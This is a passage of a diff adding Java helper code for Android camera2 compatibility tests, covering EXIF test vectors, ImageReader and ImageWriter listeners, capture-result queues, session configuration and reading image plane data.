+    private static final int EXIF_DATETIME_LENGTH = 19;
+    private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
+    private static final float EXIF_FOCAL_LENGTH_ERROR_MARGIN = 0.001f;
+    private static final float EXIF_EXPOSURE_TIME_ERROR_MARGIN_RATIO = 0.05f;
+    private static final float EXIF_EXPOSURE_TIME_MIN_ERROR_MARGIN_SEC = 0.002f;
+    private static final float EXIF_APERTURE_ERROR_MARGIN = 0.001f;
+
+    private static final Location sTestLocation0 = new Location(LocationManager.GPS_PROVIDER);
+    private static final Location sTestLocation1 = new Location(LocationManager.GPS_PROVIDER);
+    private static final Location sTestLocation2 = new Location(LocationManager.NETWORK_PROVIDER);
+
+    protected static final String DEBUG_FILE_NAME_BASE =
+            Environment.getExternalStorageDirectory().getPath();
+
+    static {
+        sTestLocation0.setTime(1199145600000L);
+        sTestLocation0.setLatitude(37.736071);
+        sTestLocation0.setLongitude(-122.441983);
+        sTestLocation0.setAltitude(21.0);
+
+        sTestLocation1.setTime(1199145601000L);
+        sTestLocation1.setLatitude(0.736071);
+        sTestLocation1.setLongitude(0.441983);
+        sTestLocation1.setAltitude(1.0);
+
+        sTestLocation2.setTime(1199145602000L);
+        sTestLocation2.setLatitude(-89.736071);
+        sTestLocation2.setLongitude(-179.441983);
+        sTestLocation2.setAltitude(100000.0);
+    }
+
+    // Exif test data vectors.
+    public static final ExifTestData[] EXIF_TEST_DATA = {
+            new ExifTestData(
+                    /*gpsLocation*/ sTestLocation0,
+                    /* orientation */90,
+                    /* jpgQuality */(byte) 80,
+                    /* thumbQuality */(byte) 75),
+            new ExifTestData(
+                    /*gpsLocation*/ sTestLocation1,
+                    /* orientation */180,
+                    /* jpgQuality */(byte) 90,
+                    /* thumbQuality */(byte) 85),
+            new ExifTestData(
+                    /*gpsLocation*/ sTestLocation2,
+                    /* orientation */270,
+                    /* jpgQuality */(byte) 100,
+                    /* thumbQuality */(byte) 100)
+    };
+
+    /**
+     * Create an {@link android.media.ImageReader} object and get the surface.
+     *
+     * @param size The size of this ImageReader to be created.
+     * @param format The format of this ImageReader to be created
+     * @param maxNumImages The max number of images that can be acquired simultaneously.
+     * @param listener The listener used by this ImageReader to notify callbacks.
+     * @param handler The handler to use for any listener callbacks.
+     */
+    public static ImageReader makeImageReader(Size size, int format, int maxNumImages,
+            ImageReader.OnImageAvailableListener listener, Handler handler) {
+        ImageReader reader;
+        reader = ImageReader.newInstance(size.getWidth(), size.getHeight(), format,
+                maxNumImages);
+        reader.setOnImageAvailableListener(listener, handler);
+        if (VERBOSE) Log.v(TAG, "Created ImageReader size " + size);
+        return reader;
+    }
+
+    /**
+     * Create an ImageWriter and hook up the ImageListener.
+     *
+     * @param inputSurface The input surface of the ImageWriter.
+     * @param maxImages The max number of Images that can be dequeued simultaneously.
+     * @param listener The listener used by this ImageWriter to notify callbacks
+     * @param handler The handler to post listener callbacks.
+     * @return ImageWriter object created.
+     */
+    public static ImageWriter makeImageWriter(
+            Surface inputSurface, int maxImages,
+            ImageWriter.OnImageReleasedListener listener, Handler handler) {
+        ImageWriter writer = ImageWriter.newInstance(inputSurface, maxImages);
+        writer.setOnImageReleasedListener(listener, handler);
+        return writer;
+    }
+
+    /**
+     * Close pending images and clean up an {@link android.media.ImageReader} object.
+     * @param reader an {@link android.media.ImageReader} to close.
+     */
+    public static void closeImageReader(ImageReader reader) {
+        if (reader != null) {
+            reader.close();
+        }
+    }
+
+    /**
+     * Close pending images and clean up an {@link android.media.ImageWriter} object.
+     * @param writer an {@link android.media.ImageWriter} to close.
+     */
+    public static void closeImageWriter(ImageWriter writer) {
+        if (writer != null) {
+            writer.close();
+        }
+    }
+
+    /**
+     * Dummy listener that release the image immediately once it is available.
+     *
+     * <p>
+     * It can be used for the case where we don't care the image data at all.
+     * </p>
+     */
+    public static class ImageDropperListener implements ImageReader.OnImageAvailableListener {
+        @Override
+        public synchronized void onImageAvailable(ImageReader reader) {
+            Image image = null;
+            try {
+                image = reader.acquireNextImage();
+            } finally {
+                if (image != null) {
+                    image.close();
+                    mImagesDropped++;
+                }
+            }
+        }
+
+        public synchronized int getImageCount() {
+            return mImagesDropped;
+        }
+
+        public synchronized void resetImageCount() {
+            mImagesDropped = 0;
+        }
+
+        private int mImagesDropped = 0;
+    }
+
+    /**
+     * Image listener that release the image immediately after validating the image
+     */
+    public static class ImageVerifierListener implements ImageReader.OnImageAvailableListener {
+        private Size mSize;
+        private int mFormat;
+
+        public ImageVerifierListener(Size sz, int format) {
+            mSize = sz;
+            mFormat = format;
+        }
+
+        @Override
+        public void onImageAvailable(ImageReader reader) {
+            Image image = null;
+            try {
+                image = reader.acquireNextImage();
+            } finally {
+                if (image != null) {
+                    // Should only do some quick sanity check in callback, as the ImageReader
+                    // could be closed asynchronously, which will close all images acquired from
+                    // this ImageReader.
+                    checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
+                    checkAndroidImageFormat(image);
+                    image.close();
+                }
+            }
+        }
+    }
+
+    public static class SimpleImageReaderListener
+            implements ImageReader.OnImageAvailableListener {
+        private final LinkedBlockingQueue<Image> mQueue =
+                new LinkedBlockingQueue<Image>();
+        // Indicate whether this listener will drop images or not,
+        // when the queued images reaches the reader maxImages
+        private final boolean mAsyncMode;
+        // maxImages held by the queue in async mode.
+        private final int mMaxImages;
+
+        /**
+         * Create a synchronous SimpleImageReaderListener that queues the images
+         * automatically when they are available, no image will be dropped. If
+         * the caller doesn't call getImage(), the producer will eventually run
+         * into buffer starvation.
+         */
+        public SimpleImageReaderListener() {
+            mAsyncMode = false;
+            mMaxImages = 0;
+        }
+
+        /**
+         * Create a synchronous/asynchronous SimpleImageReaderListener that
+         * queues the images automatically when they are available. For
+         * asynchronous listener, image will be dropped if the queued images
+         * reach to maxImages queued. If the caller doesn't call getImage(), the
+         * producer will not be blocked. For synchronous listener, no image will
+         * be dropped. If the caller doesn't call getImage(), the producer will
+         * eventually run into buffer starvation.
+         *
+         * @param asyncMode If the listener is operating at asynchronous mode.
+         * @param maxImages The max number of images held by this listener.
+         */
+        /**
+         *
+         * @param asyncMode
+         */
+        public SimpleImageReaderListener(boolean asyncMode, int maxImages) {
+            mAsyncMode = asyncMode;
+            mMaxImages = maxImages;
+        }
+
+        @Override
+        public void onImageAvailable(ImageReader reader) {
+            try {
+                Image imge = reader.acquireNextImage();
+                if (imge == null) {
+                    return;
+                }
+                mQueue.put(imge);
+                if (mAsyncMode && mQueue.size() >= mMaxImages) {
+                    Image img = mQueue.poll();
+                    img.close();
+                }
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException(
+                        "Can't handle InterruptedException in onImageAvailable");
+            }
+        }
+
+        /**
+         * Get an image from the image reader.
+         *
+         * @param timeout Timeout value for the wait.
+         * @return The image from the image reader.
+         */
+        public Image getImage(long timeout) throws InterruptedException {
+            Image image = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
+            assertNotNull("Wait for an image timed out in " + timeout + "ms", image);
+            return image;
+        }
+
+        /**
+         * Drain the pending images held by this listener currently.
+         *
+         */
+        public void drain() {
+            while (!mQueue.isEmpty()) {
+                Image image = mQueue.poll();
+                assertNotNull("Unable to get an image", image);
+                image.close();
+            }
+        }
+    }
+
+    public static class SimpleImageWriterListener implements ImageWriter.OnImageReleasedListener {
+        private final Semaphore mImageReleasedSema = new Semaphore(0);
+        private final ImageWriter mWriter;
+        @Override
+        public void onImageReleased(ImageWriter writer) {
+            if (writer != mWriter) {
+                return;
+            }
+
+            if (VERBOSE) {
+                Log.v(TAG, "Input image is released");
+            }
+            mImageReleasedSema.release();
+        }
+
+        public SimpleImageWriterListener(ImageWriter writer) {
+            if (writer == null) {
+                throw new IllegalArgumentException("writer cannot be null");
+            }
+            mWriter = writer;
+        }
+
+        public void waitForImageReleased(long timeoutMs) throws InterruptedException {
+            if (!mImageReleasedSema.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS)) {
+                fail("wait for image available timed out after " + timeoutMs + "ms");
+            }
+        }
+    }
+
+    public static class SimpleCaptureCallback extends CameraCaptureSession.CaptureCallback {
+        private final LinkedBlockingQueue<TotalCaptureResult> mQueue =
+                new LinkedBlockingQueue<TotalCaptureResult>();
+        private final LinkedBlockingQueue<CaptureFailure> mFailureQueue =
+                new LinkedBlockingQueue<>();
+        // Pair<CaptureRequest, Long> is a pair of capture request and timestamp.
+        private final LinkedBlockingQueue<Pair<CaptureRequest, Long>> mCaptureStartQueue =
+                new LinkedBlockingQueue<>();
+        // Pair<Int, Long> is a pair of sequence id and frame number
+        private final LinkedBlockingQueue<Pair<Integer, Long>> mCaptureSequenceCompletedQueue =
+                new LinkedBlockingQueue<>();
+
+        private AtomicLong mNumFramesArrived = new AtomicLong(0);
+
+        @Override
+        public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
+                long timestamp, long frameNumber) {
+            try {
+                mCaptureStartQueue.put(new Pair(request, timestamp));
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException(
+                        "Can't handle InterruptedException in onCaptureStarted");
+            }
+        }
+
+        @Override
+        public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
+                TotalCaptureResult result) {
+            try {
+                mNumFramesArrived.incrementAndGet();
+                mQueue.put(result);
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException(
+                        "Can't handle InterruptedException in onCaptureCompleted");
+            }
+        }
+
+        @Override
+        public void onCaptureFailed(CameraCaptureSession session, CaptureRequest request,
+                CaptureFailure failure) {
+            try {
+                mFailureQueue.put(failure);
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException(
+                        "Can't handle InterruptedException in onCaptureFailed");
+            }
+        }
+
+        @Override
+        public void onCaptureSequenceCompleted(CameraCaptureSession session, int sequenceId,
+                long frameNumber) {
+            try {
+                mCaptureSequenceCompletedQueue.put(new Pair(sequenceId, frameNumber));
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException(
+                        "Can't handle InterruptedException in onCaptureSequenceCompleted");
+            }
+        }
+
+        public long getTotalNumFrames() {
+            return mNumFramesArrived.get();
+        }
+
+        public CaptureResult getCaptureResult(long timeout) {
+            return getTotalCaptureResult(timeout);
+        }
+
+        public TotalCaptureResult getCaptureResult(long timeout, long timestamp) {
+            try {
+                long currentTs = -1L;
+                TotalCaptureResult result;
+                while (true) {
+                    result = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
+                    if (result == null) {
+                        throw new RuntimeException(
+                                "Wait for a capture result timed out in " + timeout + "ms");
+                    }
+                    currentTs = result.get(CaptureResult.SENSOR_TIMESTAMP);
+                    if (currentTs == timestamp) {
+                        return result;
+                    }
+                }
+
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
+            }
+        }
+
+        public TotalCaptureResult getTotalCaptureResult(long timeout) {
+            try {
+                TotalCaptureResult result = mQueue.poll(timeout, TimeUnit.MILLISECONDS);
+                assertNotNull("Wait for a capture result timed out in " + timeout + "ms", result);
+                return result;
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
+            }
+        }
+
+        /**
+         * Get the {@link #CaptureResult capture result} for a given
+         * {@link #CaptureRequest capture request}.
+         *
+         * @param myRequest The {@link #CaptureRequest capture request} whose
+         *            corresponding {@link #CaptureResult capture result} was
+         *            being waited for
+         * @param numResultsWait Number of frames to wait for the capture result
+         *            before timeout.
+         * @throws TimeoutRuntimeException If more than numResultsWait results are
+         *            seen before the result matching myRequest arrives, or each
+         *            individual wait for result times out after
+         *            {@value #CAPTURE_RESULT_TIMEOUT_MS}ms.
+         */
+        public CaptureResult getCaptureResultForRequest(CaptureRequest myRequest,
+                int numResultsWait) {
+            return getTotalCaptureResultForRequest(myRequest, numResultsWait);
+        }
+
+        /**
+         * Get the {@link #TotalCaptureResult total capture result} for a given
+         * {@link #CaptureRequest capture request}.
+         *
+         * @param myRequest The {@link #CaptureRequest capture request} whose
+         *            corresponding {@link #TotalCaptureResult capture result} was
+         *            being waited for
+         * @param numResultsWait Number of frames to wait for the capture result
+         *            before timeout.
+         * @throws TimeoutRuntimeException If more than numResultsWait results are
+         *            seen before the result matching myRequest arrives, or each
+         *            individual wait for result times out after
+         *            {@value #CAPTURE_RESULT_TIMEOUT_MS}ms.
+         */
+        public TotalCaptureResult getTotalCaptureResultForRequest(CaptureRequest myRequest,
+                int numResultsWait) {
+            ArrayList<CaptureRequest> captureRequests = new ArrayList<>(1);
+            captureRequests.add(myRequest);
+            return getTotalCaptureResultsForRequests(captureRequests, numResultsWait)[0];
+        }
+
+        /**
+         * Get an array of {@link #TotalCaptureResult total capture results} for a given list of
+         * {@link #CaptureRequest capture requests}. This can be used when the order of results
+         * may not the same as the order of requests.
+         *
+         * @param captureRequests The list of {@link #CaptureRequest capture requests} whose
+         *            corresponding {@link #TotalCaptureResult capture results} are
+         *            being waited for.
+         * @param numResultsWait Number of frames to wait for the capture results
+         *            before timeout.
+         * @throws TimeoutRuntimeException If more than numResultsWait results are
+         *            seen before all the results matching captureRequests arrives.
+         */
+        public TotalCaptureResult[] getTotalCaptureResultsForRequests(
+                List<CaptureRequest> captureRequests, int numResultsWait) {
+            if (numResultsWait < 0) {
+                throw new IllegalArgumentException("numResultsWait must be no less than 0");
+            }
+            if (captureRequests == null || captureRequests.size() == 0) {
+                throw new IllegalArgumentException("captureRequests must have at least 1 request.");
+            }
+
+            // Create a request -> a list of result indices map that it will wait for.
+            HashMap<CaptureRequest, ArrayList<Integer>> remainingResultIndicesMap = new HashMap<>();
+            for (int i = 0; i < captureRequests.size(); i++) {
+                CaptureRequest request = captureRequests.get(i);
+                ArrayList<Integer> indices = remainingResultIndicesMap.get(request);
+                if (indices == null) {
+                    indices = new ArrayList<>();
+                    remainingResultIndicesMap.put(request, indices);
+                }
+                indices.add(i);
+            }
+
+            TotalCaptureResult[] results = new TotalCaptureResult[captureRequests.size()];
+            int i = 0;
+            do {
+                TotalCaptureResult result = getTotalCaptureResult(CAPTURE_RESULT_TIMEOUT_MS);
+                CaptureRequest request = result.getRequest();
+                ArrayList<Integer> indices = remainingResultIndicesMap.get(request);
+                if (indices != null) {
+                    results[indices.get(0)] = result;
+                    indices.remove(0);
+
+                    // Remove the entry if all results for this request has been fulfilled.
+                    if (indices.isEmpty()) {
+                        remainingResultIndicesMap.remove(request);
+                    }
+                }
+
+                if (remainingResultIndicesMap.isEmpty()) {
+                    return results;
+                }
+            } while (i++ < numResultsWait);
+
+            throw new TimeoutRuntimeException("Unable to get the expected capture result after "
+                    + "waiting for " + numResultsWait + " results");
+        }
+
+        /**
+         * Get an array list of {@link #CaptureFailure capture failure} with maxNumFailures entries
+         * at most. If it times out before maxNumFailures failures are received, return the failures
+         * received so far.
+         *
+         * @param maxNumFailures The maximal number of failures to return. If it times out before
+         *                       the maximal number of failures are received, return the received
+         *                       failures so far.
+         * @throws UnsupportedOperationException If an error happens while waiting on the failure.
+         */
+        public ArrayList<CaptureFailure> getCaptureFailures(long maxNumFailures) {
+            ArrayList<CaptureFailure> failures = new ArrayList<>();
+            try {
+                for (int i = 0; i < maxNumFailures; i++) {
+                    CaptureFailure failure = mFailureQueue.poll(CAPTURE_RESULT_TIMEOUT_MS,
+                            TimeUnit.MILLISECONDS);
+                    if (failure == null) {
+                        // If waiting on a failure times out, return the failures so far.
+                        break;
+                    }
+                    failures.add(failure);
+                }
+            }  catch (InterruptedException e) {
+                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
+            }
+
+            return failures;
+        }
+
+        /**
+         * Wait until the capture start of a request and expected timestamp arrives or it times
+         * out after a number of capture starts.
+         *
+         * @param request The request for the capture start to wait for.
+         * @param timestamp The timestamp for the capture start to wait for.
+         * @param numCaptureStartsWait The number of capture start events to wait for before timing
+         *                             out.
+         */
+        public void waitForCaptureStart(CaptureRequest request, Long timestamp,
+                int numCaptureStartsWait) throws Exception {
+            Pair<CaptureRequest, Long> expectedShutter = new Pair<>(request, timestamp);
+
+            int i = 0;
+            do {
+                Pair<CaptureRequest, Long> shutter = mCaptureStartQueue.poll(
+                        CAPTURE_RESULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+                if (shutter == null) {
+                    throw new TimeoutRuntimeException("Unable to get any more capture start " +
+                            "event after waiting for " + CAPTURE_RESULT_TIMEOUT_MS + " ms.");
+                } else if (expectedShutter.equals(shutter)) {
+                    return;
+                }
+
+            } while (i++ < numCaptureStartsWait);
+
+            throw new TimeoutRuntimeException("Unable to get the expected capture start " +
+                    "event after waiting for " + numCaptureStartsWait + " capture starts");
+        }
+
+        /**
+         * Wait until it receives capture sequence completed callback for a given squence ID.
+         *
+         * @param sequenceId The sequence ID of the capture sequence completed callback to wait for.
+         * @param timeoutMs Time to wait for each capture sequence complete callback before
+         *                  timing out.
+         */
+        public long getCaptureSequenceLastFrameNumber(int sequenceId, long timeoutMs) {
+            try {
+                while (true) {
+                    Pair<Integer, Long> completedSequence =
+                            mCaptureSequenceCompletedQueue.poll(timeoutMs, TimeUnit.MILLISECONDS);
+                    assertNotNull("Wait for a capture sequence completed timed out in " +
+                            timeoutMs + "ms", completedSequence);
+
+                    if (completedSequence.first.equals(sequenceId)) {
+                        return completedSequence.second.longValue();
+                    }
+                }
+            } catch (InterruptedException e) {
+                throw new UnsupportedOperationException("Unhandled interrupted exception", e);
+            }
+        }
+
+        public boolean hasMoreResults()
+        {
+            return !mQueue.isEmpty();
+        }
+
+        public boolean hasMoreFailures()
+        {
+            return !mFailureQueue.isEmpty();
+        }
+
+        public void drain() {
+            mQueue.clear();
+            mNumFramesArrived.getAndSet(0);
+            mFailureQueue.clear();
+            mCaptureStartQueue.clear();
+        }
+    }
+
+    /**
+     * Block until the camera is opened.
+     *
+     * <p>Don't use this to test #onDisconnected/#onError since this will throw
+     * an AssertionError if it fails to open the camera device.</p>
+     *
+     * @return CameraDevice opened camera device
+     *
+     * @throws IllegalArgumentException
+     *            If the handler is null, or if the handler's looper is current.
+     * @throws CameraAccessException
+     *            If open fails immediately.
+     * @throws BlockingOpenException
+     *            If open fails after blocking for some amount of time.
+     * @throws TimeoutRuntimeException
+     *            If opening times out. Typically unrecoverable.
+     */
+    public static CameraDevice openCamera(CameraManager manager, String cameraId,
+            CameraDevice.StateCallback listener, Handler handler) throws CameraAccessException,
+            BlockingOpenException {
+
+        /**
+         * Although camera2 API allows 'null' Handler (it will just use the current
+         * thread's Looper), this is not what we want for CTS.
+         *
+         * In CTS the default looper is used only to process events in between test runs,
+         * so anything sent there would not be executed inside a test and the test would fail.
+         *
+         * In this case, BlockingCameraManager#openCamera performs the check for us.
+         */
+        return (new BlockingCameraManager(manager)).openCamera(cameraId, listener, handler);
+    }
+
+
+    /**
+     * Block until the camera is opened.
+     *
+     * <p>Don't use this to test #onDisconnected/#onError since this will throw
+     * an AssertionError if it fails to open the camera device.</p>
+     *
+     * @throws IllegalArgumentException
+     *            If the handler is null, or if the handler's looper is current.
+     * @throws CameraAccessException
+     *            If open fails immediately.
+     * @throws BlockingOpenException
+     *            If open fails after blocking for some amount of time.
+     * @throws TimeoutRuntimeException
+     *            If opening times out. Typically unrecoverable.
+     */
+    public static CameraDevice openCamera(CameraManager manager, String cameraId, Handler handler)
+            throws CameraAccessException,
+            BlockingOpenException {
+        return openCamera(manager, cameraId, /*listener*/null, handler);
+    }
+
+    /**
+     * Configure a new camera session with output surfaces and type.
+     *
+     * @param camera The CameraDevice to be configured.
+     * @param outputSurfaces The surface list that used for camera output.
+     * @param listener The callback CameraDevice will notify when capture results are available.
+     */
+    public static CameraCaptureSession configureCameraSession(CameraDevice camera,
+            List<Surface> outputSurfaces, boolean isHighSpeed,
+            CameraCaptureSession.StateCallback listener, Handler handler)
+            throws CameraAccessException {
+        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
+        if (isHighSpeed) {
+            camera.createConstrainedHighSpeedCaptureSession(outputSurfaces,
+                    sessionListener, handler);
+        } else {
+            camera.createCaptureSession(outputSurfaces, sessionListener, handler);
+        }
+        CameraCaptureSession session =
+                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+        assertFalse("Camera session should not be a reprocessable session",
+                session.isReprocessable());
+        String sessionType = isHighSpeed ? "High Speed" : "Normal";
+        assertTrue("Capture session type must be " + sessionType,
+                isHighSpeed ==
+                CameraConstrainedHighSpeedCaptureSession.class.isAssignableFrom(session.getClass()));
+
+        return session;
+    }
+
+    /**
+     * Configure a new camera session with output configurations.
+     *
+     * @param camera The CameraDevice to be configured.
+     * @param outputs The OutputConfiguration list that is used for camera output.
+     * @param listener The callback CameraDevice will notify when capture results are available.
+     */
+    public static CameraCaptureSession configureCameraSessionWithConfig(CameraDevice camera,
+            List<OutputConfiguration> outputs,
+            CameraCaptureSession.StateCallback listener, Handler handler)
+            throws CameraAccessException {
+        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
+        camera.createCaptureSessionByOutputConfigurations(outputs, sessionListener, handler);
+        CameraCaptureSession session =
+                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+        assertFalse("Camera session should not be a reprocessable session",
+                session.isReprocessable());
+        return session;
+    }
+
+    /**
+     * Try configure a new camera session with output configurations.
+     *
+     * @param camera The CameraDevice to be configured.
+     * @param outputs The OutputConfiguration list that is used for camera output.
+     * @param listener The callback CameraDevice will notify when capture results are available.
+     */
+    public static CameraCaptureSession tryConfigureCameraSessionWithConfig(CameraDevice camera,
+            List<OutputConfiguration> outputs,
+            CameraCaptureSession.StateCallback listener, Handler handler)
+            throws CameraAccessException {
+        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
+        camera.createCaptureSessionByOutputConfigurations(outputs, sessionListener, handler);
+
+        Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
+                                   BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
+        int state = sessionListener.getStateWaiter().waitForAnyOfStates(
+                Arrays.asList(sessionStates), SESSION_CONFIGURE_TIMEOUT_MS);
+
+        CameraCaptureSession session = null;
+        if (state == BlockingSessionCallback.SESSION_READY) {
+            session = sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+            assertFalse("Camera session should not be a reprocessable session",
+                    session.isReprocessable());
+        }
+        return session;
+    }
+
+
+    /**
+     * Configure a new camera session with output surfaces.
+     *
+     * @param camera The CameraDevice to be configured.
+     * @param outputSurfaces The surface list that used for camera output.
+     * @param listener The callback CameraDevice will notify when capture results are available.
+     */
+    public static CameraCaptureSession configureCameraSession(CameraDevice camera,
+            List<Surface> outputSurfaces,
+            CameraCaptureSession.StateCallback listener, Handler handler)
+            throws CameraAccessException {
+
+        return configureCameraSession(camera, outputSurfaces, /*isHighSpeed*/false,
+                listener, handler);
+    }
+
+    public static CameraCaptureSession configureReprocessableCameraSession(CameraDevice camera,
+            InputConfiguration inputConfiguration, List<Surface> outputSurfaces,
+            CameraCaptureSession.StateCallback listener, Handler handler)
+            throws CameraAccessException {
+        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
+        camera.createReprocessableCaptureSession(inputConfiguration, outputSurfaces,
+                sessionListener, handler);
+
+        Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
+                                   BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
+        int state = sessionListener.getStateWaiter().waitForAnyOfStates(
+                Arrays.asList(sessionStates), SESSION_CONFIGURE_TIMEOUT_MS);
+
+        assertTrue("Creating a reprocessable session failed.",
+                state == BlockingSessionCallback.SESSION_READY);
+
+        CameraCaptureSession session =
+                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+        assertTrue("Camera session should be a reprocessable session", session.isReprocessable());
+
+        return session;
+    }
+
+    /**
+     * Create a reprocessable camera session with input and output configurations.
+     *
+     * @param camera The CameraDevice to be configured.
+     * @param inputConfiguration The input configuration used to create this session.
+     * @param outputs The output configurations used to create this session.
+     * @param listener The callback CameraDevice will notify when capture results are available.
+     * @param handler The handler used to notify callbacks.
+     * @return The session ready to use.
+     * @throws CameraAccessException
+     */
+    public static CameraCaptureSession configureReprocCameraSessionWithConfig(CameraDevice camera,
+            InputConfiguration inputConfiguration, List<OutputConfiguration> outputs,
+            CameraCaptureSession.StateCallback listener, Handler handler)
+            throws CameraAccessException {
+        BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
+        camera.createReprocessableCaptureSessionByConfigurations(inputConfiguration, outputs,
+                sessionListener, handler);
+
+        Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
+                                   BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
+        int state = sessionListener.getStateWaiter().waitForAnyOfStates(
+                Arrays.asList(sessionStates), SESSION_CONFIGURE_TIMEOUT_MS);
+
+        assertTrue("Creating a reprocessable session failed.",
+                state == BlockingSessionCallback.SESSION_READY);
+
+        CameraCaptureSession session =
+                sessionListener.waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+        assertTrue("Camera session should be a reprocessable session", session.isReprocessable());
+
+        return session;
+    }
+
+    public static <T> void assertArrayNotEmpty(T arr, String message) {
+        assertTrue(message, arr != null && Array.getLength(arr) > 0);
+    }
+
+    /**
+     * Check if the format is a legal YUV format camera supported.
+     */
+    public static void checkYuvFormat(int format) {
+        if ((format != ImageFormat.YUV_420_888) &&
+                (format != ImageFormat.NV21) &&
+                (format != ImageFormat.YV12)) {
+            fail("Wrong formats: " + format);
+        }
+    }
+
+    /**
+     * Check if image size and format match given size and format.
+     */
+    public static void checkImage(Image image, int width, int height, int format) {
+        // Image reader will wrap YV12/NV21 image by YUV_420_888
+        if (format == ImageFormat.NV21 || format == ImageFormat.YV12) {
+            format = ImageFormat.YUV_420_888;
+        }
+        assertNotNull("Input image is invalid", image);
+        assertEquals("Format doesn't match", format, image.getFormat());
+        assertEquals("Width doesn't match", width, image.getWidth());
+        assertEquals("Height doesn't match", height, image.getHeight());
+    }
+
+    /**
+     * <p>Read data from all planes of an Image into a contiguous unpadded, unpacked
+     * 1-D linear byte array, such that it can be write into disk, or accessed by
+     * software conveniently. It supports YUV_420_888/NV21/YV12 and JPEG input
+     * Image format.</p>
+     *
+     * <p>For YUV_420_888/NV21/YV12/Y8/Y16, it returns a byte array that contains
+     * the Y plane data first, followed by U(Cb), V(Cr) planes if there is any
+     * (xstride = width, ystride = height for chroma and luma components).</p>
+     *
+     * <p>For JPEG, it returns a 1-D byte array contains a complete JPEG image.</p>
+     */
+    public static byte[] getDataFromImage(Image image) {
+        assertNotNull("Invalid image:", image);
+        int format = image.getFormat();
+        int width = image.getWidth();
+        int height = image.getHeight();
+        int rowStride, pixelStride;
+        byte[] data = null;
+
+        // Read image data
+        Plane[] planes = image.getPlanes();
+        assertTrue("Fail to get image planes", planes != null && planes.length > 0);
+
+        // Check image validity
+        checkAndroidImageFormat(image);
+
+        ByteBuffer buffer = null;
+        // JPEG doesn't have pixelstride and rowstride, treat it as 1D buffer.
+        // Same goes for DEPTH_POINT_CLOUD
+        if (format == ImageFormat.JPEG || format == ImageFormat.DEPTH_POINT_CLOUD ||
+                format == ImageFormat.RAW_PRIVATE) {
+            buffer = planes[0].getBuffer();
+            assertNotNull("Fail to get jpeg or depth ByteBuffer", buffer);
+            data = new byte[buffer.remaining()];
+            buffer.get(data);
+            buffer.rewind();
+            return data;
+        }
+
+        int offset = 0;
+        data = new byte[width * height * ImageFormat.getBitsPerPixel(format) / 8];
+        int maxRowSize = planes[0].getRowStride();
+        for (int i = 0; i < planes.length; i++) {
+            if (maxRowSize < planes[i].getRowStride()) {
+                maxRowSize = planes[i].getRowStride();
+            }
+        }
+        byte[] rowData = new byte[maxRowSize];
+        if(VERBOSE) Log.v(TAG, "get data from " + planes.length + " planes");
+        for (int i = 0; i < planes.length; i++) {
+            buffer = planes[i].getBuffer();
+            assertNotNull("Fail to get bytebuffer from plane", buffer);
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            assertTrue("pixel stride " + pixelStride + " is invalid", pixelStride > 0);
+            if (VERBOSE) {
+                Log.v(TAG, "pixelStride " + pixelStride);
+                Log.v(TAG, "rowStride " + rowStride);
+                Log.v(TAG, "width " + width);
+                Log.v(TAG, "height " + height);
+            }
+            // For multi-planar yuv images, assuming yuv420 with 2x2 chroma subsampling.
+            int w = (i == 0) ? width : width / 2;
+            int h = (i == 0) ? height : height / 2;
+            assertTrue("rowStride " + rowStride + " should be >= width " + w , rowStride >= w);
+            for (int row = 0; row < h; row++) {
+                int bytesPerPixel = ImageFormat.getBitsPerPixel(format) / 8;
+                int length;
+                if (pixelStride == bytesPerPixel) {
+                    // Special case: optimized read of the entire row
+                    length = w * bytesPerPixel;
+                    buffer.get(data, offset, length);
+                    offset += length;
+                } else {
+                    // Generic case: should work for any pixelStride but slower.
+                    // Use intermediate buffer to avoid read byte-by-byte from
+                    // DirectByteBuffer, which is very bad for performance
+                    length = (w - 1) * pixelStride + bytesPerPixel;
+                    buffer.get(rowData, 0, length);
+                    for (int col = 0; col < w; col++) {
+                        data[offset++] = rowData[col * pixelStride];
+                    }
+                }
+                // Advance buffer the remainder of the row stride
+                if (row < h - 1) {
+                    buffer.position(buffer.position() + rowStride - length);
+                }
+            }
+            if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
+            buffer.rewind();
+        }
+        return data;
+    }
+
+    /**
+     * <p>Check android image format validity for an image, only support below formats:</p>
+     *
+     * <p>YUV_420_888/NV21/YV12, can add more for future</p>
+     */
+    public static void checkAndroidImageFormat(Image image) {
+        int format = image.getFormat();
+        Plane[] planes = image.getPlanes();
+        switch (format) {
+            case ImageFormat.YUV_420_888:
+            case ImageFormat.NV21:
+            case ImageFormat.YV12:
